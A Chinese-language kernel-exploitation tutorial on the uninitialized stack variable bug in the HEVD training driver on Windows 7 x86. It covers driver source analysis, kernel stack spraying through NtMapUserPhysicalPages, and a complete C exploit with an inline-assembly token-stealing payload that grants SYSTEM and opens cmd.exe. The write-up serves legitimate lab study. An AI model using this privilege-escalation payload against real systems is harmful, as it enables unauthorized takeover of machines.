漏洞分析丨HEVD-0x6.UninitializedStackVariable[win7x86]

作者selph
前言
窺探Ring0漏洞世界:未初始化棧變量漏洞
上一篇探討了空指針解引用漏洞的利用,這里來探討另一種漏洞,未初始化棧變量漏洞,未初始化變量本身是沒啥事的,但如果這個(gè)變量結(jié)構(gòu)里存儲(chǔ)了會(huì)拿出來執(zhí)行的東西(回調(diào)函數(shù)啥的),那就是另一回事了
實(shí)驗(yàn)環(huán)境:
?虛擬機(jī):Windows 7 x86
?物理機(jī):Windows 10 x64
?軟件:IDA,Windbg,VS2022
漏洞分析
老樣子,先IDA找到該漏洞的觸發(fā)函數(shù)TriggerUninitializedMemoryStack,分析函數(shù)是如何存在漏洞的
首先是取出了用戶提供的指針里的值,保存到ebx:

然后緊接著判斷該值是否為魔數(shù)0BAD0B0B0h,是的話,就將該值和一個(gè)函數(shù)地址保存到了棧中一個(gè)結(jié)構(gòu)體里,如果不是的話,則不進(jìn)行操作,然后進(jìn)行判斷,判斷棧中的這個(gè)變量是否有值,如果有值,且為固定這個(gè)函數(shù)的地址的話,就執(zhí)行這個(gè)函數(shù)

如果該位置有值,且不是固定函數(shù)地址的話,就去把這個(gè)值當(dāng)函數(shù)去調(diào)用:

驅(qū)動(dòng)源碼:
///
/// Trigger the uninitialized memory in Stack Vulnerability
///
///The pointer to user mode buffer
///?NTSTATUS
NTSTATUS
TriggerUninitializedMemoryStack(
_In_ PVOID UserBuffer
)
{
??? ULONG UserValue = 0;
??? ULONG MagicValue = 0xBAD0B0B0;
???NTSTATUS Status = STATUS_SUCCESS;
#ifdef SECURE
??? //
??? // Secure Note: This is secure because the developer is properly initializing
??? // UNINITIALIZED_MEMORY_STACK to NULL and checks for NULL pointer before calling
??? // the callback
??? //
???UNINITIALIZED_MEMORY_STACK UninitializedMemory = { 0 };
#else
??? //
??? // Vulnerability Note: This is a vanilla Uninitialized Memory in Stack vulnerability
??? // because the developer is not initializing 'UNINITIALIZED_MEMORY_STACK' structure
??? // before calling the callback when 'MagicValue' does not match 'UserValue'
??? //
???UNINITIALIZED_MEMORY_STACK UninitializedMemory;
#endif
???PAGED_CODE();
??? __try
??? {
???????//
???????// Verify if the buffer resides in user mode
???????//
???????ProbeForRead(UserBuffer, sizeof(UNINITIALIZED_MEMORY_STACK), (ULONG)__alignof(UCHAR));
???????//
???????// Get the value from user mode
???????//
???????UserValue = *(PULONG)UserBuffer;
???????DbgPrint("[+] UserValue: 0x%p\n", UserValue);
??????? DbgPrint("[+] UninitializedMemory Address: 0x%p\n", &UninitializedMemory);
???????//
???????// Validate the magic value
???????//
???????if (UserValue == MagicValue) {
???????????UninitializedMemory.Value = UserValue;
???????????UninitializedMemory.Callback = &UninitializedMemoryStackObjectCallback;
??????? }
???????DbgPrint("[+] UninitializedMemory.Value: 0x%p\n", UninitializedMemory.Value);
???????DbgPrint("[+] UninitializedMemory.Callback: 0x%p\n", UninitializedMemory.Callback);
#ifndef SECURE
???????DbgPrint("[+] Triggering Uninitialized Memory in Stack\n");
#endif
???????//
???????// Call the callback function
???????//
???????if (UninitializedMemory.Callback)
??????? {
???????????UninitializedMemory.Callback();
??????? }
??? }
???__except (EXCEPTION_EXECUTE_HANDLER)
??? {
???????Status = GetExceptionCode();
???????DbgPrint("[-] Exception Code: 0x%X\n", Status);
??? }
???return Status;
}
可見,這里的安全版本和不安全版本的區(qū)別僅在是否初始化了局部變量,其實(shí)不初始化似乎也沒啥問題,這里出問題的關(guān)鍵在于該變量中保存了回調(diào)函數(shù),然后還被調(diào)用了,從而導(dǎo)致了漏洞
如果輸入的是錯(cuò)誤的值(非魔數(shù)),且能控制回調(diào)地址,就能執(zhí)行shellcode。
漏洞利用
那么問題來了,要如何去控制回調(diào)地址呢?未初始化的局部變量會(huì)保存在棧中,且值是不可預(yù)測的,棧中存的是什么值那變量就是什么值
參考[1],控制棧中的值,需要做這些準(zhǔn)備:
1.找到內(nèi)核棧初始化地址
2.找到回調(diào)地址所在內(nèi)核棧初始化地址的偏移量
3.通過在用戶模式下用戶可控輸入噴射內(nèi)核棧(參考資料[2])
內(nèi)核棧噴射
根據(jù)參考資料[2],有一個(gè)未文檔化的函數(shù)NtMapUserPhysicalPages可以噴射一大塊數(shù)據(jù)到內(nèi)核棧里:
NTSTATUS
NtMapUserPhysicalPages (
?? __in PVOID VirtualAddress,
?? __in ULONG_PTR NumberOfPages,
??__in_ecount_opt(NumberOfPages) PULONG_PTR UserPfnArray
?)
(...)
?ULONG_PTR StackArray[COPY_STACK_SIZE]; // COPY_STACK_SIZE = 1024
這里頭有一片??臻g的緩沖區(qū)數(shù)組,大小是1024*sizeof(ULONG_PTR)
該函數(shù)最后,如果NumberOfPages變量不大于1024的話,會(huì)使用該棧緩沖區(qū)地址去調(diào)用:MiCaptureUlongPtrArray函數(shù)
PoolArea = (PVOID)&StackArray[0];
(...)
?
? if (NumberOfPages > COPY_STACK_SIZE) {
???PoolArea = ExAllocatePoolWithTag (NonPagedPool,
?????????????????????????????????????NumberOfBytes,
????????????????????????????????????? 'wRmM');
?
??? if (PoolArea == NULL) {
?????return STATUS_INSUFFICIENT_RESOURCES;
??? }
? }
?
(...)
?
? Status = MiCaptureUlongPtrArray (PoolArea,
??????????????????????????????????UserPfnArray,
??????????????????????????????????NumberOfPages);
使用IDA打開Windows7 x86內(nèi)核文件ntkrnlpa查找該調(diào)用:

因?yàn)樵摵瘮?shù)是fastcall調(diào)用,在x86下fastcall調(diào)用會(huì)優(yōu)先使用ecx和edx傳參,多余的參數(shù)才使用棧,也就是說傳遞的參數(shù)依次是:NumberOfPages,UserPfnArray,棧緩沖區(qū)的地址
然后MiCaptureUlongPtrArray的實(shí)現(xiàn)如下:
int __fastcall MiCaptureUlongPtrArray(int a1, unsigned int a2, void *a3)
{
size_t v3; // ecx
? v3 = 4 * a1;
? if ( v3 )
? {
??? if ( (a2 & 3) != 0 )
?????ExRaiseDatatypeMisalignment();
??? if ( v3 + a2 > MmUserProbeAddress || v3 + a2 < a2 )
?????*(_BYTE *)MmUserProbeAddress = 0;
? }
?memcpy(a3, (const void *)a2, v3);
? return 0;
}
NtMapUserPhysicalPages函數(shù)里將往棧緩沖區(qū)里填充用戶傳來的數(shù)據(jù)
到此,可以知道,只需要向調(diào)用NtMapUserPhysicalPages函數(shù),提供第二個(gè)參數(shù)是大小,第三個(gè)參數(shù)是用戶緩沖區(qū),即可實(shí)現(xiàn)在棧中進(jìn)行噴射,接下來進(jìn)行編寫exp實(shí)現(xiàn)利用
編寫exp
還是用之前的模板改一改,通過函數(shù)可以實(shí)現(xiàn)對內(nèi)核棧的提前布置,然后再用非魔數(shù)的輸入去調(diào)用漏洞函數(shù),使得未初始化的變量里填充的是我們布置的值,從而完成利用:
#include
#include
// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET0x124?// nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET??? 0x050?// nt!_KTHREAD.ApcState.Process
#define PID_OFFSET???????? 0x0B4?// nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET?????? 0x0B8?// nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET?????? 0x0F8?// nt!_EPROCESS.Token
#define SYSTEM_PID???????? 0x004?// SYSTEM Process PID
typedef NTSTATUS(WINAPI* NtMapUserPhysicalPages_t)(IN PVOID?????????VirtualAddress,
??? IN ULONG_PTR????? NumberOfPages,
??? IN OUT PULONG_PTR UserPfnArray);
VOID TokenStealingPayloadWin7() {
??? // Importance of Kernel Recovery
??? __asm {
???????pushad
??????? ;獲取當(dāng)前進(jìn)程EPROCESS
???????xor eax, eax
???????mov eax, fs: [eax + KTHREAD_OFFSET]
???????mov eax, [eax + EPROCESS_OFFSET]
???????mov ecx, eax
??????? ;搜索system進(jìn)程EPROCESS
???????mov edx, SYSTEM_PID
???????SearchSystemPID :
???????mov eax, [eax + FLINK_OFFSET]
???????????sub eax, FLINK_OFFSET
???????????cmp[eax + PID_OFFSET], edx
???????????jne SearchSystemPID
???????????; token竊取
???????????mov edx, [eax + TOKEN_OFFSET]
???????? ???mov[ecx + TOKEN_OFFSET], edx
???????????;?環(huán)境還原?+?返回
???????????popad
??? }
}
int main()
{
??? ULONG UserBufferSize = 1024*sizeof(ULONG_PTR);
??? PVOID EopPayload = &TokenStealingPayloadWin7;
???HANDLE hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
???PULONG UserBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);
???//RtlFillMemory(UserBuffer, UserBufferSize, 'A');
??? for (int i = 0; i < UserBufferSize / sizeof(ULONG_PTR); i++){
???????UserBuffer[i] = (ULONG)EopPayload;
??? }
??? //?布置內(nèi)核棧
???NtMapUserPhysicalPages_t?????NtMapUserPhysicalPages;
???NtMapUserPhysicalPages = (NtMapUserPhysicalPages_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"),"NtMapUserPhysicalPages");
???NtMapUserPhysicalPages(NULL, 1024, UserBuffer);
??? ULONG WriteRet = 0;
???DeviceIoControl(hDevice, 0x22202f, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);
???HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
???UserBuffer = NULL;
???system("pause");
???system("cmd.exe");
???return 0;
}
截圖演示

參考資料
?[1] Windows Kernel Exploitation Tutorial Part 6: Uninitialized Stack Variable - rootkit (rootkits.xyz) https://rootkits.xyz/blog/2018/01/kernel-uninitialized-stack-variable/
?[2] nt!NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques | j00ru//vx tech blog (vexillium.org) https://j00ru.vexillium.org/2011/05/windows-kernel-stack-spraying-techniques/
?[3] CVE-2016-0040 - DreamoneOnly -?博客園?(cnblogs.com) https://www.cnblogs.com/DreamoneOnly/p/13163036.html
?[4] HEVD Kernel Exploitation -- Uninitialized Stack & Heap (seebug.org) https://paper.seebug.org/200/
?[5]?ヾ(???3)ノ嘻嘻![05] HEVD?內(nèi)核漏洞之未初始化棧變量?| Saturn35 https://saturn35.com/2019/07/26/20190726-2/
?[6] C library function - memcpy() (tutorialspoint.com) https://www.tutorialspoint.com/c_standard_library/c_function_memcpy.htm
?[7] __fastcall | Microsoft Docs https://docs.microsoft.com/zh-cn/cpp/cpp/fastcall?view=msvc-170